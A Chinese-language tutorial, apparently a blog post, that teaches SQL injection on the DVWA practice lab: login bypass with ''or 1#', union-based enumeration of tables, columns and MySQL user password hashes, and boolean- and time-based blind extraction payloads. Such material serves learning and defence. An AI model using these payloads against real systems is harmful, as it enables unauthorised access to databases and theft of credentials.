目录
SQL注入简介
SQL注入是网站存在最多也是最简单的漏洞,主要原因是程序员在开发用户和数据库交互的系统时没有对用户输入的字符串进行过滤,转义,限制或处理不严谨,导致用户可以通过输入精心构造的字符串去非法获取到数据库中的数据。本文以免费开源数据库MySQL为例,看懂本文需要了解基本SQL语句。
SQL注入原理
一般用户登录用的SQL语句为:SELECT * FROM user WHERE username='admin' AND password='passwd',此处admin和passwd分别为用户输入的用户名和密码,如果程序员没有对用户输入的用户名和密码做处理,就可以构造万能密码成功绕过登录验证,如用户输入'or 1#,SQL语句将变为:SELECT * FROM user WHERE username=''or 1#' AND password='',‘’or 1为TRUE,#注释掉后面的内容,所以查询语句可以正确执行。我们可以使用DVWA来测试一下。
打开DVWA也面,登录,然后修改DVWA Security等级为Low点击submit,如图:
然后点击左侧SQL Injection,出现一个输入ID查数据的文本框,点击网站右下角的View Source可查看源代码,如图
可以看到SQL语句为SELECT first_name, last_name FROM users WHERE user_id = '$id';用户输入的字符串存在$id变量中,可以看到上面没有任何处理用户输入的字符串的函数,因此可以肯定这里存在SQL注入,我们仍然可以输入'or 1#,是SQL语句变为:SELECT first_name, last_name FROM users WHERE user_id = ''or 1#';从而查询到所有的first_name和last_name,如图:
SQL注入分类及判断
事实上SQL注入有很多种,按数据类型可以分为数字型、字符型和搜索型,按提交方式可分为GET型,POST型,Cookie型和HTTP请求头注入,按执行效果有可以分为报错注入、联合查询注入、盲注和堆查询注入,其中盲注又可分为基于bool的和基于时间的注入。从查询语句及可看出来这里是字符型的注入同时也是GET型注入和表单注入,数字型注入查询语句为:SELECT * FROM user WHERE id=1,搜索型注入为查询语句为:SELECT * FROM user WHERE search like '%1%'。
在知道查询语句的情况下我们很容易辨别是否存在注入及注入类型,很多时候我们并不知道查询语句是什么,所以我们可以这样判断,在URL或者表单中输入一个单引号或者其他特殊符号,页面出现错误说明此页面存在SQL注入,如果页面正常显示说明有字符被过滤或者不存在注入,读者可自行测试,如果存在注入可以进一步判断注入类型,在URL或者表单中输入0 or 1,如果可以查到数据,说明是数字型注入,如果输入0'or 1#,查到数据说明是字符型注入,方法不唯一。总之数字型注入不需要使用单引号闭合前面的单引号就可以执行SQL语句,而字符型必须闭合前面的单引号,然后才可以执行SQL语句,同时也需要把后面的单引号闭合,而注释就是很好的一种闭合后面的单引号的方法。
GET型注入很容易从URL中看出来,如图,网页的URL为:http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1,浏览器通常使用?来表示GET方法传递参数,而使用POST传递参数是不会显示到URL中的,因此URL中含有?说明就是使用GET方法传递参数,如图:
SQL注入方法
注入方法可以直接在URL中提交注入语句,需要注意的是,在URL提交SQL语句,需要将注释符#进行URL编码,有时候所有SQL语句都需要URL编码,如图:
联合查询注入
POST型注入和Cookie注入需要插件和工具才可进行,以后在介绍,联合查询注入也是用的非常多的,可以在URL中提交SQL语句,也可以在表单提交,联合查询相当于把别的表的数据查询结果显示到当前表,使用联合查询时,必须使得两张表的表结构一致,因此我们需要判断当前表的列数有多少列,此外还需知道是字符型注入还是数字型注入,由前面实验可知这是字符型注入,所以我们闭合前面的单引号,构造联合注入语句,输入1'order by 1#,页面正常,然后输入1'order by 2#,依次增加,直到3时出现错误,如图,说明当前表有2列:
接着我们构造联合查询语句暴露查询列显示在网页的位置:'union select 1,2#;
接着构造联合查询语句查询当前数据库用户和数据库名,结果会显示在上图对应的位置:'union select user(),database()#;
我们知道每个MySQL数据库中都有数据库information,和mysql,而所有的数据库信息全部存储在information中,MySQL的用户名和密码存储在mysql中的user表中,所以我们可以使用information来查询到所有的数据,查询当前数据库所有数据:表:'union select 1,table_name from information_schema.tables where table_schema=database()#;
查询当前数据库下数据表abc的所有字段:'union select 1,column_name from information_schema.columns where table_name='abc'#;
查询当前数据库下数据表abc的字段user的数据:'union select 1,user from abc#;
查询MySQL的root用户和密码hash值:'union select user,authentication_string from mysql.user#,如图:
基于bool的盲注
上面这些注入方法都需要网页可以显示查询数据的结果,而盲注适合页面不显示任何数据查询结果,基于bool的盲注就是页面只有正常和不正常两种情况,通过true和false来猜解数据,速度比较慢,基于bool的盲注通常用函数length(),返回长度,ascii(),返回ASCII值,substr(string,a,b),返回string以a开头,长度为b的字符串,count(),返回数量。
点击DVWA页面的SQL Injection(Blind),随便输入数字发现只有两种显示结果,符合bool注入条件,构造语句猜测当前数据库名长度是否大于5:1' and length(database())>5#,如图:
说明当前数据库长度是小于5 的用二分法继续构造:1' and length(database())>3#;
显然长度大于3却不大于5,当前数据库名长度就是4,然后判断数据库名第一个字符ASCII是否大于97:1'and (ascii(substr(database(),1,1)))>97#,依旧使用二分法慢慢判断,最终确定为ASCII为100,对应字符为:d;
然后判断数据库名第二个字符ASCII是否大于97:1'and (ascii(substr(database(),2,1)))>97#,最终确定ASCII为118,对应字符:v,同上步骤继续,最终确定当前数据库为:dvwa;
然后判断当前数据库中数据表的个数:1'and (select count(*) from information_schema.tables where table_schema=database())>3#,这个步骤可以有也可以没有,看完下面就知道了;
然后判断当前数据库中第一个数据表的长度是否大于5:1'and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5#,结果如图:
原理同上面判断数据库长度,最后得到当前数据库的第一个数据表的长度,获取第二个表的长度:1'and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)>5#,第三个,第四个以此类推,当第N个数据表长度大于0返回为假时,说明这个数据表不存在;
然后猜解当前数据库的第一个数据表的第一个字符的ASCII:1'and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>97#,结果为103,对应字符:g;
然后猜解当前数据库的第一个数据表的第二个字符的ASCII:1'and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)))>97#,结果为117,对应字符:u,
第三个,第四个字符以此类推直到猜解完毕;
然后猜解当前数据库中数据表users的列数:1'and (select count(*) from information_schema.columns where table_schema=database() and table_name='users')>3#,同样,这个步骤也是可以省略的;
然后猜解当前数据库中数据表users的第一列的长度:1'and (select length(column_name) from information_schema.columns where table_name='users' limit 0,1)>5#,当大于0为假,说明此列不存在;
然后猜解当前数据库数据表users的第一列字段的第一个字符:1'and (ascii(substr(select column_name from information_schema.columns where table_name='users') limit 0,1),1,1)>97#,然后依次猜解完全部字段。
基于时间的盲注
基于时间的盲注和基于bool的盲注很相似,只不过基于时间的盲注用于不管执行的SQL语句正确与否,页面都不会给任何提示,因此无法使用bool盲注。基于时间的盲注经常用到的函数除了上面的还有延时函数sleep(),if(c,a,b),如果c为真执行a,否则执行b。
猜解当前数据库名的长度,如果长度大于0就会延时5s:1'and if(length(database())>0,sleep(5),0)#,如图:
然后猜解当前数据库中数据表的个数:1'and if((select count(*) from information_schema.tables where table_schema=database())>3,sleep(3),0)#;
然后猜解当前数据库中的第一个数据表的第一个字符的ASCII:1'and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>97,sleep(3),0)#,同bool注入的步骤一样,只是注入语句有点差异,类比上面的语句即可猜解数所有数据。
总结
SQL注入技术不是单凭一篇博客就可以讲完的,这里只带领大家掌握SQL注入的原理及常见的几种SQL注入的形成原因及利用方法,后面遇见在详解其他方法。有很多讲SQL注入的书,个人认为Justin Clarke写的《SQL注入攻击与防御》很不错,类似的书还有很多,如果想自己深入学习,可以寻找适合自己的书。相信大家通过本篇已掌握SQL注入原理和相应类型的注入的方法,同时也需要掌握SQL注入的一般步骤:
1、测试网页是否存在SQL注入
2、判断SQL注入类型
3、利用SQL语句查询数据库当前用户及数据库
4、利用SQL语句查询表名、列名、字段名以及字段值